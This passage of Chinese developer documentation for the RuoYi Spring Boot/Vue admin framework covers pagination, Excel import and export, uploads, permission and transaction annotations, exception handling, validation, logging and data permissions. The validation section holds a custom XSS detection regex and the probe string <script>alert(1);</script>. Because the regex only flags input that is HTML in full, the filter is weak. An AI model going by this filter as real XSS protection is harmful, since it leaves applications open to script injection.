- 使部署变得简单: 内嵌Tomcat、Jetty、Undertow等web容器,无需以war包形式部署
- 使监控变得简单: 提供运行时的应用监控
- 使集成变得简单: 对主流开发框架的无配置集成。
- 使开发变得简单: 极大地提高了开发快速构建项目、部署效率。
Spring Security安全控制
1、介绍
Spring Security
是一个能够为基于Spring
的企业应用系统提供声明式的安全访问控制解决方案的安全框架。
2、功能
Authentication
认证,就是用户登录
Authorization
授权,判断用户拥有什么权限,可以访问什么资源
安全防护,跨站脚本攻击,session
攻击等
非常容易结合Spring
进行使用
3、Spring Security
与Shiro
的区别
相同点
1、认证功能
2、授权功能
3、加密功能
4、会话管理
5、缓存支持
6、rememberMe功能
....
不同点
优点:
1、Spring Security基于Spring开发,项目如果使用Spring作为基础,配合Spring Security做权限更加方便。而Shiro需要和Spring进行整合开发
2、Spring Security功能比Shiro更加丰富,例如安全防护方面
3、Spring Security社区资源相对比Shiro更加丰富
缺点:
1)Shiro的配置和使用比较简单,Spring Security上手复杂些
2)Shiro依赖性低,不需要依赖任何框架和容器,可以独立运行。Spring Security依赖Spring容器
前端技术
- npm:node.js的包管理工具,用于统一管理我们前端项目中需要用到的包、插件、工具、命令等,便于开发和维护。
- ES6:Javascript的新版本,ECMAScript6的简称。利用ES6我们可以简化我们的JS代码,同时利用其提供的强大功能来快速实现JS逻辑。
- vue-cli:Vue的脚手架工具,用于自动生成Vue项目的目录及文件。
- vue-router: Vue提供的前端路由工具,利用其我们实现页面的路由控制,局部刷新及按需加载,构建单页应用,实现前后端分离。
- vuex:Vue提供的状态管理工具,用于统一管理我们项目中各种数据的交互和重用,存储我们需要用到数据对象。
- element-ui:基于MVVM框架Vue开源出来的一套前端ui组件。
六、后台手册
.1、分页实现
- 前端基于
element
封装的分页组件 pagination(opens new window) - 后端基于
mybatis
的轻量级分页插件pageHelper(opens new window)
.2、前端调用实现
1、前端定义分页流程
// 一般在查询参数中定义分页变量 queryParams: { pageNum: 1, pageSize: 10 }, // 页面添加分页组件,传入分页变量 <pagination v-show="total>0" :total="total" :page.sync="queryParams.pageNum" :limit.sync="queryParams.pageSize" @pagination="getList" /> // 调用后台方法,传入参数 获取结果 listUser(this.queryParams).then(response => { this.userList = response.rows; this.total = response.total; } );
.3、后台逻辑实现
@PostMapping("/list") @ResponseBody public TableDataInfo list(User user) { startPage(); // 此方法配合前端完成自动分页 List<User> list = userService.selectUserList(user); return getDataTable(list); }
- 常见坑点1:
selectPostById
莫名其妙的分页。例如下面这段代码
startPage(); List<User> list; if(user != null){ list = userService.selectUserList(user); } else { list = new ArrayList<User>(); } Post post = postService.selectPostById(1L); return getDataTable(list);
原因分析:这种情况下由于user
存在null
的情况,就会导致pageHelper
生产了一个分页参数,但是没有被消费,这个参数就会一直保留在这个线程上。 当这个线程再次被使用时,就可能导致不该分页的方法去消费这个分页参数,这就产生了莫名其妙的分页。
上面这个代码,应该写成下面这个样子才能保证安全。
List<User> list; if(user != null){ startPage(); list = userService.selectUserList(user); } else { list = new ArrayList<User>(); } Post post = postService.selectPostById(1L); return getDataTable(list);
- 常见坑点2:添加了
startPage
方法。也没有正常分页。例如下面这段代码
startPage(); Post post = postService.selectPostById(1L); List<User> list = userService.selectUserList(user); return getDataTable(list);
原因分析:只对该语句以后的第一个查询(Select)
语句得到的数据进行分页。
上面这个代码,应该写成下面这个样子才能正常分页。
Post post = postService.selectPostById(1L); startPage(); List<User> list = userService.selectUserList(user); return getDataTable(list);
注意
如果改为其他数据库需修改配置`application.yml`文件中的属性`helperDialect=你的数据库`
七、导入导出
在实际开发中经常需要使用导入导出功能来加快数据的操作。在项目中可以使用注解来完成此项功能。 在需要被导入导出的实体类属性添加@Excel
注解,目前支持参数如下:
.1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
sort | int | Integer.MAX_VALUE | 导出时在excel中排序,值越小越靠前 |
name | String | 空 | 导出到Excel中的名字 |
dateFormat | String | 空 | 日期格式, 如: yyyy-MM-dd |
dictType | String | 空 | 如果是字典类型,请设置字典的type值 (如: sys_user_sex) |
readConverterExp | String | 空 | 读取内容转表达式 (如: 0=男,1=女,2=未知) |
separator | String | , | 分隔符,读取字符串组内容 |
scale | int | -1 | BigDecimal 精度 默认:-1(默认不开启BigDecimal格式化) |
roundingMode | int | BigDecimal.ROUND_HALF_EVEN | BigDecimal 舍入规则 默认:BigDecimal.ROUND_HALF_EVEN |
columnType | Enum | Type.STRING | 导出类型(0数字 1字符串 2图片) |
height | String | 14 | 导出时在excel中每个列的高度 单位为字符 |
width | String | 16 | 导出时在excel中每个列的宽 单位为字符 |
suffix | String | 空 | 文字后缀,如% 90 变成90% |
defaultValue | String | 空 | 当值为空时,字段的默认值 |
prompt | String | 空 | 提示信息 |
combo | String | Null | 设置只能选择不能输入的列内容 |
targetAttr | String | 空 | 另一个类中的属性名称,支持多级获取,以小数点隔开 |
isStatistics | boolean | false | 是否自动统计数据,在最后追加一行统计数据总和 |
type | Enum | Type.ALL | 字段类型(0:导出导入;1:仅导出;2:仅导入) |
align | Enum | Type.AUTO | 导出字段对齐方式(0:默认;1:靠左;2:居中;3:靠右) |
handler | Class | ExcelHandlerAdapter.class | 自定义数据处理器 |
args | String[] | {} | 自定义数据处理器参数 |
.2、导出实现流程
1、前端调用方法(参考如下)
// 查询参数 queryParams queryParams: { pageNum: 1, pageSize: 10, userName: undefined }, // 导出接口exportUser import { exportUser } from "@/api/system/user"; /** 导出按钮操作 */ handleExport() { const queryParams = this.queryParams; this.$confirm('是否确认导出所有用户数据项?', "警告", { confirmButtonText: "确定", cancelButtonText: "取消", type: "warning" }).then(function() { return exportUser(queryParams); }).then(response => { this.download(response.msg); }).catch(function() {}); }
2、添加导出按钮事件
<el-button type="warning" icon="el-icon-download" size="mini" @click="handleExport" >导出</el-button>
3、在实体变量上添加@Excel注解
@Excel(name = "用户序号", prompt = "用户编号") private Long userId; @Excel(name = "用户名称") private String userName; @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知") private String sex; @Excel(name = "用户头像", cellType = ColumnType.IMAGE) private String avatar; @Excel(name = "帐号状态", dictType = "sys_normal_disable") private String status; @Excel(name = "最后登陆时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss") private Date loginDate;
4、在Controller添加导出方法
@Log(title = "用户管理", businessType = BusinessType.EXPORT) @PreAuthorize("@ss.hasPermi('system:user:export')") @GetMapping("/export") public AjaxResult export(SysUser user) { List<SysUser> list = userService.selectUserList(user); ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class); return util.exportExcel(list, "用户数据"); }
.3、导入实现流程
1、前端调用方法(参考如下)
import { getToken } from "@/utils/auth"; // 用户导入参数 upload: { // 是否显示弹出层(用户导入) open: false, // 弹出层标题(用户导入) title: "", // 是否禁用上传 isUploading: false, // 是否更新已经存在的用户数据 updateSupport: 0, // 设置上传的请求头部 headers: { Authorization: "Bearer " + getToken() }, // 上传的地址 url: process.env.VUE_APP_BASE_API + "/system/user/importData" }, // 导入模板接口importTemplate import { importTemplate } from "@/api/system/user"; /** 导入按钮操作 */ handleImport() { this.upload.title = "用户导入"; this.upload.open = true; }, /** 下载模板操作 */ importTemplate() { importTemplate().then(response => { this.download(response.msg); }); }, // 文件上传中处理 handleFileUploadProgress(event, file, fileList) { this.upload.isUploading = true; }, // 文件上传成功处理 handleFileSuccess(response, file, fileList) { this.upload.open = false; this.upload.isUploading = false; this.$refs.upload.clearFiles(); this.$alert(response.msg, "导入结果", { dangerouslyUseHTMLString: true }); this.getList(); }, // 提交上传文件 submitFileForm() { this.$refs.upload.submit(); }
2、添加导入按钮事件
<el-button type="info" icon="el-icon-upload2" size="mini" @click="handleImport" >导入</el-button>
3、添加导入前端代码
<!-- 用户导入对话框 --> <el-dialog :title="upload.title" :visible.sync="upload.open" width="400px"> <el-upload ref="upload" :limit="1" accept=".xlsx, .xls" :headers="upload.headers" :action="upload.url + '?updateSupport=' + upload.updateSupport" :disabled="upload.isUploading" :on-progress="handleFileUploadProgress" :on-success="handleFileSuccess" :auto-upload="false" drag > <i class="el-icon-upload"></i> <div class="el-upload__text"> 将文件拖到此处,或 <em>点击上传</em> </div> <div class="el-upload__tip" slot="tip"> <el-checkbox v-model="upload.updateSupport" />是否更新已经存在的用户数据 <el-link type="info" style="font-size:12px" @click="importTemplate">下载模板</el-link> </div> <div class="el-upload__tip" style="color:red" slot="tip">提示:仅允许导入“xls”或“xlsx”格式文件!</div> </el-upload> <div slot="footer" class="dialog-footer"> <el-button type="primary" @click="submitFileForm">确 定</el-button> <el-button @click="upload.open = false">取 消</el-button> </div> </el-dialog>
4、在实体变量上添加@Excel注解,默认为导出导入,也可以单独设置仅导入Type.IMPORT
@Excel(name = "用户序号") private Long id; @Excel(name = "部门编号", type = Type.IMPORT) private Long deptId; @Excel(name = "用户名称") private String userName; /** 导出部门多个对象 */ @Excels({ @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT), @Excel(name = "部门负责人", targetAttr = "leader", type = Type.EXPORT) }) private SysDept dept; /** 导出部门单个对象 */ @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT) private SysDept dept;
5、在Controller添加导入方法,updateSupport属性为是否存在则覆盖(可选)
@Log(title = "用户管理", businessType = BusinessType.IMPORT) @PostMapping("/importData") public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception { ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class); List<SysUser> userList = util.importExcel(file.getInputStream()); LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest()); String operName = loginUser.getUsername(); String message = userService.importUser(userList, updateSupport, operName); return AjaxResult.success(message); } @GetMapping("/importTemplate") public AjaxResult importTemplate() { ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class); return util.importTemplateExcel("用户数据"); }
小提示:
也可以直接到main运行此方法测试。
InputStream is = new FileInputStream(new File("D:\\test.xlsx")); ExcelUtil<Entity> util = new ExcelUtil<Entity>(Entity.class); List<Entity> userList = util.importExcel(is);
.4、自定义标题信息
有时候我们希望导出表格包含标题信息,我们可以这样做。
导出用户管理表格新增标题(用户列表)
public AjaxResult export(SysUser user) { List<SysUser> list = userService.selectUserList(user); ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class); return util.exportExcel(list, "用户数据", "用户列表"); }
导入表格包含标题处理方式,其中1
表示标题占用行数,根据实际情况填写。
public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception { ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class); List<SysUser> userList = util.importExcel(file.getInputStream(), 1); String operName = SecurityUtils.getUsername(); String message = userService.importUser(userList, updateSupport, operName); return AjaxResult.success(message); }
.5、自定义数据处理器
有时候我们希望数据展现为一个特殊的格式,或者需要对数据进行其它处理。Excel
注解提供了自定义数据处理器以满足各种业务场景。而实现一个数据处理器也是非常简单的。如下:
1、在实体类用Excel
注解handler
属性指定自定义的数据处理器
public class User extends BaseEntity { @Excel(name = "用户名称", handler = MyDataHandler.class, args = { "aaa", "bbb" }) private String userName; }
2、编写数据处理器MyDataHandler
继承ExcelHandlerAdapter
,返回值为处理后的值。
public class MyDataHandler implements ExcelHandlerAdapter { @Override public Object format(Object value, String[] args) { // value 为单元格数据值 // args 为excel注解args参数组 return value; } }
八、上传下载
首先创建一张上传文件的表,例如:
drop table if exists sys_file_info; create table sys_file_info ( file_id int(11) not null auto_increment comment '文件id', file_name varchar(50) default '' comment '文件名称', file_path varchar(255) default '' comment '文件路径', primary key (file_id) ) engine=innodb auto_increment=1 default charset=utf8 comment = '文件信息表';
.1、上传实现流程
1、el-input
修改成el-upload
<el-upload ref="upload" :limit="1" accept=".jpg, .png" :action="upload.url" :headers="upload.headers" :file-list="upload.fileList" :on-progress="handleFileUploadProgress" :on-success="handleFileSuccess" :auto-upload="false"> <el-button slot="trigger" size="small" type="primary">选取文件</el-button> <el-button style="margin-left: 10px;" size="small" type="success" :loading="upload.isUploading" @click="submitUpload">上传到服务器</el-button> <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过500kb</div> </el-upload>
2、引入获取token
import { getToken } from "@/utils/auth";
3、data
中添加属性
// 上传参数 upload: { // 是否禁用上传 isUploading: false, // 设置上传的请求头部 headers: { Authorization: "Bearer " + getToken() }, // 上传的地址 url: process.env.VUE_APP_BASE_API + "/common/upload", // 上传的文件列表 fileList: [] },
4、新增和修改操作对应处理fileList
参数
handleAdd() { ... this.upload.fileList = []; } handleUpdate(row) { ... this.upload.fileList = [{ name: this.form.fileName, url: this.form.filePath }]; }
5、添加对应事件
// 文件提交处理 submitUpload() { this.$refs.upload.submit(); }, // 文件上传中处理 handleFileUploadProgress(event, file, fileList) { this.upload.isUploading = true; }, // 文件上传成功处理 handleFileSuccess(response, file, fileList) { this.upload.isUploading = false; this.form.filePath = response.url; this.msgSuccess(response.msg); }
.2、下载实现流程
1、添加对应按钮和事件
<el-button size="mini" type="text" icon="el-icon-edit" @click="handleDownload(scope.row)" >下载</el-button>
2、实现文件下载
// 文件下载处理 handleDownload(row) { var name = row.fileName; var url = row.filePath; var suffix = url.substring(url.lastIndexOf("."), url.length); const a = document.createElement('a') a.setAttribute('download', name + suffix) a.setAttribute('target', '_blank') a.setAttribute('href', url) a.click() }
九、权限注解
- 数据权限示例。
// 符合system:user:list权限要求 @PreAuthorize("@ss.hasPermi('system:user:list')") // 不符合system:user:list权限要求 @PreAuthorize("@ss.lacksPermi('system:user:list')") // 符合system:user:add或system:user:edit权限要求即可 @PreAuthorize("@ss.hasAnyPermi('system:user:add,system:user:edit')")
- 角色权限示例。
// 属于user角色 @PreAuthorize("@ss.hasRole('user')") // 不属于user角色 @PreAuthorize("@ss.lacksRole('user')") // 属于user或者admin之一 @PreAuthorize("@ss.hasAnyRoles('user,admin')")
十、事务管理
新建的Spring Boot
项目中,一般都会引用spring-boot-starter
或者spring-boot-starter-web
,而这两个起步依赖中都已经包含了对于spring-boot-starter-jdbc
或spring-boot-starter-data-jpa
的依赖。 当我们使用了这两个依赖的时候,框架会自动默认分别注入DataSourceTransactionManager
或JpaTransactionManager
。 所以我们不需要任何额外配置就可以用@Transactional
注解进行事务的使用。
提示
@Transactional注解只能应用到public可见度的方法上,可以被应用于接口定义和接口方法,方法会覆盖类上面声明的事务。
例如用户新增需要插入用户表、用户与岗位关联表、用户与角色关联表,如果插入成功,那么一起成功,如果中间有一条出现异常,那么回滚之前的所有操作, 这样可以防止出现脏数据,就可以使用事务让它实现回退。
做法非常简单,我们只需要在方法或类添加@Transactional
注解即可。
@Transactional public int insertUser(User user) { // 新增用户信息 int rows = userMapper.insertUser(user); // 新增用户岗位关联 insertUserPost(user); // 新增用户与角色管理 insertUserRole(user); return rows; }
- 常见坑点1:遇到检查异常时,事务开启,也无法回滚。 例如下面这段代码,用户依旧增加成功,并没有因为后面遇到检查异常而回滚!!
@Transactional public int insertUser(User user) throws Exception { // 新增用户信息 int rows = userMapper.insertUser(user); // 新增用户岗位关联 insertUserPost(user); // 新增用户与角色管理 insertUserRole(user); // 模拟抛出SQLException异常 boolean flag = true; if (flag) { throw new SQLException("发生异常了.."); } return rows; }
原因分析:因为Spring
的默认的事务规则是遇到运行异常(RuntimeException)
和程序错误(Error)
才会回滚。如果想针对检查异常进行事务回滚,可以在@Transactional
注解里使用 rollbackFor
属性明确指定异常。
例如下面这样,就可以正常回滚:
@Transactional(rollbackFor = Exception.class) public int insertUser(User user) throws Exception { // 新增用户信息 int rows = userMapper.insertUser(user); // 新增用户岗位关联 insertUserPost(user); // 新增用户与角色管理 insertUserRole(user); // 模拟抛出SQLException异常 boolean flag = true; if (flag) { throw new SQLException("发生异常了.."); } return rows; }
- 常见坑点2: 在业务层捕捉异常后,发现事务不生效。 这是许多新手都会犯的一个错误,在业务层手工捕捉并处理了异常,你都把异常“吃”掉了,
Spring
自然不知道这里有错,更不会主动去回滚数据。
例如:下面这段代码直接导致用户新增的事务回滚没有生效。
@Transactional public int insertUser(User user) throws Exception { // 新增用户信息 int rows = userMapper.insertUser(user); // 新增用户岗位关联 insertUserPost(user); // 新增用户与角色管理 insertUserRole(user); // 模拟抛出SQLException异常 boolean flag = true; if (flag) { try { // 谨慎:尽量不要在业务层捕捉异常并处理 throw new SQLException("发生异常了.."); } catch (Exception e) { e.printStackTrace(); } } return rows; }
推荐做法:在业务层统一抛出异常,然后在控制层统一处理。
@Transactional public int insertUser(User user) throws Exception { // 新增用户信息 int rows = userMapper.insertUser(user); // 新增用户岗位关联 insertUserPost(user); // 新增用户与角色管理 insertUserRole(user); // 模拟抛出SQLException异常 boolean flag = true; if (flag) { throw new RuntimeException("发生异常了.."); } return rows; }
Transactional
注解的常用属性表:
属性 | 说明 |
---|---|
propagation | 事务的传播行为,默认值为 REQUIRED。 |
isolation | 事务的隔离度,默认值采用 DEFAULT |
timeout | 事务的超时时间,默认值为-1,不超时。如果设置了超时时间(单位秒),那么如果超过该时间限制了但事务还没有完成,则自动回滚事务。 |
read-only | 指定事务是否为只读事务,默认值为 false;为了忽略那些不需要事务的方法,比如读取数据,可以设置 read-only 为 true。 |
rollbackFor | 用于指定能够触发事务回滚的异常类型,如果有多个异常类型需要指定,各类型之间可以通过逗号分隔。 |
noRollbackFor | 抛出 no-rollback-for 指定的异常类型,不回滚事务。 |
.... |
提示
事务的传播机制是指如果在开始当前事务之前,一个事务上下文已经存在,此时有若干选项可以指定一个事务性方法的执行行为。 即:在执行一个@Transactinal注解标注的方法时,开启了事务;当该方法还在执行中时,另一个人也触发了该方法;那么此时怎么算事务呢,这时就可以通过事务的传播机制来指定处理方式。
TransactionDefinition
传播行为的常量:
常量 | 含义 |
---|---|
TransactionDefinition.PROPAGATION_REQUIRED | 如果当前存在事务,则加入该事务;如果当前没有事务,则创建一个新的事务。这是默认值。 |
TransactionDefinition.PROPAGATION_REQUIRES_NEW | 创建一个新的事务,如果当前存在事务,则把当前事务挂起。 |
TransactionDefinition.PROPAGATION_SUPPORTS | 如果当前存在事务,则加入该事务;如果当前没有事务,则以非事务的方式继续运行。 |
TransactionDefinition.PROPAGATION_NOT_SUPPORTED | 以非事务方式运行,如果当前存在事务,则把当前事务挂起。 |
TransactionDefinition.PROPAGATION_NEVER | 以非事务方式运行,如果当前存在事务,则抛出异常。 |
TransactionDefinition.PROPAGATION_MANDATORY | 如果当前存在事务,则加入该事务;如果当前没有事务,则抛出异常。 |
TransactionDefinition.PROPAGATION_NESTED | 如果当前存在事务,则创建一个事务作为当前事务的嵌套事务来运行;如果当前没有事务,则该取值等价于TransactionDefinition.PROPAGATION_REQUIRED。 |
十一、异常处理
通常一个web
框架中,有大量需要处理的异常。比如业务异常,权限不足等等。前端通过弹出提示信息的方式告诉用户出了什么错误。 通常情况下我们用try.....catch....
对异常进行捕捉处理,但是在实际项目中对业务模块进行异常捕捉,会造成代码重复和繁杂, 我们希望代码中只有业务相关的操作,所有的异常我们单独设立一个类来处理它。全局异常就是对框架所有异常进行统一管理。 我们在可能发生异常的方法里throw
抛给控制器。然后由全局异常处理器对异常进行统一处理。 如此,我们的Controller
中的方法就可以很简洁了。
所谓全局异常处理器就是使用@ControllerAdvice
注解。示例如下:
1、统一返回实体定义
package com.ruoyi.common.core.domain; import java.util.HashMap; /** * 操作消息提醒 * * @author ruoyi */ public class AjaxResult extends HashMap<String, Object> { private static final long serialVersionUID = 1L; /** * 返回错误消息 * * @param code 错误码 * @param msg 内容 * @return 错误消息 */ public static AjaxResult error(String msg) { AjaxResult json = new AjaxResult(); json.put("msg", msg); json.put("code", 500); return json; } /** * 返回成功消息 * * @param msg 内容 * @return 成功消息 */ public static AjaxResult success(String msg) { AjaxResult json = new AjaxResult(); json.put("msg", msg); json.put("code", 0); return json; } }
2、定义登录异常定义
package com.ruoyi.common.exception; /** * 登录异常 * * @author ruoyi */ public class LoginException extends RuntimeException { private static final long serialVersionUID = 1L; protected final String message; public LoginException(String message) { this.message = message; } @Override public String getMessage() { return message; } }
3、基于@ControllerAdvice
注解的Controller
层的全局异常统一处理
package com.ruoyi.framework.web.exception; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RestControllerAdvice; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.common.exception.LoginException; /** * 全局异常处理器 * * @author ruoyi */ @RestControllerAdvice public class GlobalExceptionHandler { private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class); /** * 登录异常 */ @ExceptionHandler(LoginException.class) public AjaxResult loginException(LoginException e) { log.error(e.getMessage(), e); return AjaxResult.error(e.getMessage()); } }
4、测试访问请求
@Controller public class SysIndexController { /** * 首页方法 */ @GetMapping("/index") public String index(ModelMap mmap) { /** * 模拟用户未登录,抛出业务逻辑异常 */ SysUser user = ShiroUtils.getSysUser(); if (StringUtils.isNull(user)) { throw new LoginException("用户未登录,无法访问请求。"); } mmap.put("user", user); return "index"; } }
根据上面代码含义,当我们未登录访问/index
时就会发生LoginException
业务逻辑异常,按照我们之前的全局异常配置以及统一返回实体实例化,访问后会出现AjaxResult
格式JSON
数据, 下面我们运行项目访问查看效果。
界面输出内容如下所示:
{ "msg": "用户未登录,无法访问请求。", "code": 500 }
对于一些特殊情况,如接口需要返回json
,页面请求返回html
可以使用如下方法:
@ExceptionHandler(LoginException.class) public Object loginException(HttpServletRequest request, LoginException e) { log.error(e.getMessage(), e); if (ServletUtils.isAjaxRequest(request)) { return AjaxResult.error(e.getMessage()); } else { return new ModelAndView("/error/500"); } }
若依系统的全局异常处理器GlobalExceptionHandler
注意:如果全部异常处理返回json
,那么可以使用@RestControllerAdvice
代替@ControllerAdvice
,这样在方法上就可以不需要添加@ResponseBody
。
无法捕获异常?
如果您的异常无法捕获,您可以从以下几个方面着手检查
异常是否已被处理,即抛出异常后被catch,打印了日志或抛出了其它异常 异常是否非Controller抛出,即在拦截器或过滤器中出现的异常
十二、参数验证
spring boot
中可以用@Validated
来校验数据,如果数据异常则会统一抛出异常,方便异常中心统一处理。
1、注解参数说明
注解名称 | 功能 |
---|---|
@Xss | 检查该字段是否存在跨站脚本工具 |
@Null | 检查该字段为空 |
@NotNull | 不能为null |
@NotBlank | 不能为空,常用于检查空字符串 |
@NotEmpty | 不能为空,多用于检测list是否size是0 |
@Max | 该字段的值只能小于或等于该值 |
@Min | 该字段的值只能大于或等于该值 |
@Past | 检查该字段的日期是在过去 |
@Future | 检查该字段的日期是否是属于将来的日期 |
检查是否是一个有效的email地址 | |
@Pattern(regex=,flag=) | 被注释的元素必须符合指定的正则表达式 |
@Range(min=,max=,message=) | 被注释的元素必须在合适的范围内 |
@Size(min=, max=) | 检查该字段的size是否在min和max之间,可以是字符串、数组、集合、Map等 |
@Length(min=,max=) | 检查所属的字段的长度是否在min和max之间,只能用于字符串 |
@AssertTrue | 用于boolean字段,该字段只能为true |
@AssertFalse | 该字段的值只能为false |
2、数据校验使用
1、基础使用 因为spring boot
已经引入了基础包,所以直接使用就可以了。首先在controller
上声明@Validated
需要对数据进行校验。
public AjaxResult add(@Validated @RequestBody SysUser user) { ..... }
2、然后在对应字段Get方法
加上参数校验注解,如果不符合验证要求,则会以message
的信息为准,返回给前端。
@Size(min = 0, max = 30, message = "用户昵称长度不能超过30个字符") public String getNickName() { return nickName; } @NotBlank(message = "用户账号不能为空") @Size(min = 0, max = 30, message = "用户账号长度不能超过30个字符") public String getUserName() { return userName; } @Email(message = "邮箱格式不正确") @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") public String getEmail() { return email; } @Size(min = 0, max = 11, message = "手机号码长度不能超过11个字符") public String getPhonenumber() { return phonenumber; }
也可以直接放在字段上面声明。
@Size(min = 0, max = 30, message = "用户昵称长度不能超过30个字符") private String nickName;
3、自定义注解校验
使用原生的@Validated
进行参数校验时,都是特定的注解去校验(例如字段长度、大小、不为空等),我们也可以用自定义的注解去进行校验,例如项目中的@Xss
注解。
1、新增Xss
注解,设置自定义校验器XssValidator.class
/** * 自定义xss校验注解 * * @author ruoyi */ @Retention(RetentionPolicy.RUNTIME) @Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) @Constraint(validatedBy = { XssValidator.class }) public @interface Xss { String message() default "不允许任何脚本运行"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }
2、自定义Xss
校验器,实现ConstraintValidator
接口。
/** * 自定义xss校验注解实现 * * @author ruoyi */ public class XssValidator implements ConstraintValidator<Xss, String> { private final String HTML_PATTERN = "<(\\S*?)[^>]*>.*?|<.*? />"; @Override public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext) { return !containsHtml(value); } public boolean containsHtml(String value) { Pattern pattern = Pattern.compile(HTML_PATTERN); Matcher matcher = pattern.matcher(value); return matcher.matches(); } }
3、实体类使用自定义的@Xss
注解
@Xss(message = "登录账号不能包含脚本字符") @NotBlank(message = "登录账号不能为空") @Size(min = 0, max = 30, message = "登录账号长度不能超过30个字符") public String getLoginName() { return loginName; }
此时在去保存会进行验证,如果不符合规则的字符(例如<script>alert(1);</script>
)会提示登录账号不能包含脚本字符
,代表限制成功。
如果是在方法里面校验整个实体,参考示例。
@Autowired protected Validator validator; public void importUser(SysUser user) { BeanValidators.validateWithException(validator, user); }
4、自定义分组校验
有时候我们为了在使用实体类的情况下更好的区分出新增、修改和其他操作验证的不同,可以通过groups
属性设置。使用方式如下
新增类接口,用于标识出不同的操作类型
public interface Add { } public interface Edit { }
Controller.java
// 新增 public AjaxResult addSave(@Validated(Add.class) @RequestBody Xxxx xxxx) { return success(xxxx); } // 编辑 public AjaxResult editSave(@Validated(Edit.class) @RequestBody Xxxx xxxx) { return success(xxxx); }
Model.java
// 仅在新增时验证 @NotNull(message = "不能为空", groups = {Add.class}) private String xxxx; // 在新增和修改时验证 @NotBlank(message = "不能为空", groups = {Add.class, Edit.class}) private String xxxx;
提示
如果你有更多操作类型,也可以自定义类统一管理,使用方式就变成了Type.Add
、Type.Edit
、Type.Xxxx
等。
package com.eva.core.constants; /** * 操作类型 */ public interface Type { interface Add {} interface Edit {} interface Xxxx {} }
十三、系统日志
在实际开发中,对于某些关键业务,我们通常需要记录该操作的内容,一个操作调一次记录方法,每次还得去收集参数等等,会造成大量代码重复。 我们希望代码中只有业务相关的操作,在项目中使用注解来完成此项功能。
在需要被记录日志的controller
方法上添加@Log
注解,使用方法如下:
@Log(title = "用户管理", businessType = BusinessType.INSERT) public AjaxResult addSave(...) { return success(...); }
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
title | String | 空 | 操作模块 |
businessType | BusinessType | OTHER | 操作功能(OTHER 其他、INSERT 新增、UPDATE 修改、DELETE 删除、GRANT 授权、EXPORT 导出、IMPORT 导入、FORCE 强退、GENCODE 生成代码、CLEAN 清空数据) |
operatorType | OperatorType | MANAGE | 操作人类别(OTHER 其他、MANAGE 后台用户、MOBILE 手机端用户) |
isSaveRequestData | boolean | true | 是否保存请求的参数 |
isSaveResponseData | boolean | true | 是否保存响应的参数 |
2、自定义操作功能
1、在BusinessType
中新增业务操作类型如:
/** * 测试 */ TEST,
2、在sys_dict_data
字典数据表中初始化操作业务类型
insert into sys_dict_data values(25, 10, '测试', '10', 'sys_oper_type', '', 'primary', 'N', '0', 'admin', '2018-03-16 11-33-00', 'ry', '2018-03-16 11-33-00', '测试操作');
3、在Controller
中使用注解
@Log(title = "测试标题", businessType = BusinessType.TEST) public AjaxResult test(...) { return success(...); }
操作日志记录逻辑实现代码LogAspect.java(opens new window)
登录系统(系统管理-操作日志)可以查询操作日志列表和详细信息。
十四、数据权限
在实际开发中,需要设置用户只能查看哪些部门的数据,这种情况一般称为数据权限。
例如对于销售,财务的数据,它们是非常敏感的,因此要求对数据权限进行控制, 对于基于集团性的应用系统而言,就更多需要控制好各自公司的数据了。如设置只能看本公司、或者本部门的数据,对于特殊的领导,可能需要跨部门的数据, 因此程序不能硬编码那个领导该访问哪些数据,需要进行后台的权限和数据权限的控制。
提示
默认系统管理员admin
拥有所有数据权限(userId=1)
,默认角色拥有所有数据权限(如不需要数据权限不用设置数据权限操作)
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
deptAlias | String | 空 | 部门表的别名 |
userAlias | String | 空 | 用户表的别名 |
2、数据权限使用
1、在(系统管理-角色管理)设置需要数据权限的角色 目前支持以下几种权限
- 全部数据权限
- 自定数据权限
- 部门数据权限
- 部门及以下数据权限
- 仅本人数据权限
2、在需要数据权限控制方法上添加@DataScope
注解,其中d
和u
用来表示表的别名
部门数据权限注解
@DataScope(deptAlias = "d") public List<...> select(...) { return mapper.select(...); }
部门及用户权限注解
@DataScope(deptAlias = "d", userAlias = "u") public List<...> select(...) { return mapper.select(...); }
3、在mybatis
查询底部标签添加数据范围过滤
<select id="select" parameterType="..." resultMap="...Result"> <include refid="select...Vo"/> <!-- 数据范围过滤 --> ${params.dataScope} </select>
例如:用户管理(未过滤数据权限的情况):
select u.user_id, u.dept_id, u.login_name, u.user_name, u.email , u.phonenumber, u.password, u.sex, u.avatar, u.salt , u.status, u.del_flag, u.login_ip, u.login_date, u.create_by , u.create_time, u.remark, d.dept_name from sys_user u left join sys_dept d on u.dept_id = d.dept_id where u.del_flag = '0'
例如:用户管理(已过滤数据权限的情况):
select u.user_id, u.dept_id, u.login_name, u.user_name, u.email , u.phonenumber, u.password, u.sex, u.avatar, u.salt , u.status, u.del_flag, u.login_ip, u.login_date, u.create_by , u.create_time, u.remark, d.dept_name from sys_user u left join sys_dept d on u.dept_id = d.dept_id where u.del_flag = '0' and u.dept_id in ( select dept_id from sys_role_dept where role_id = 2 )
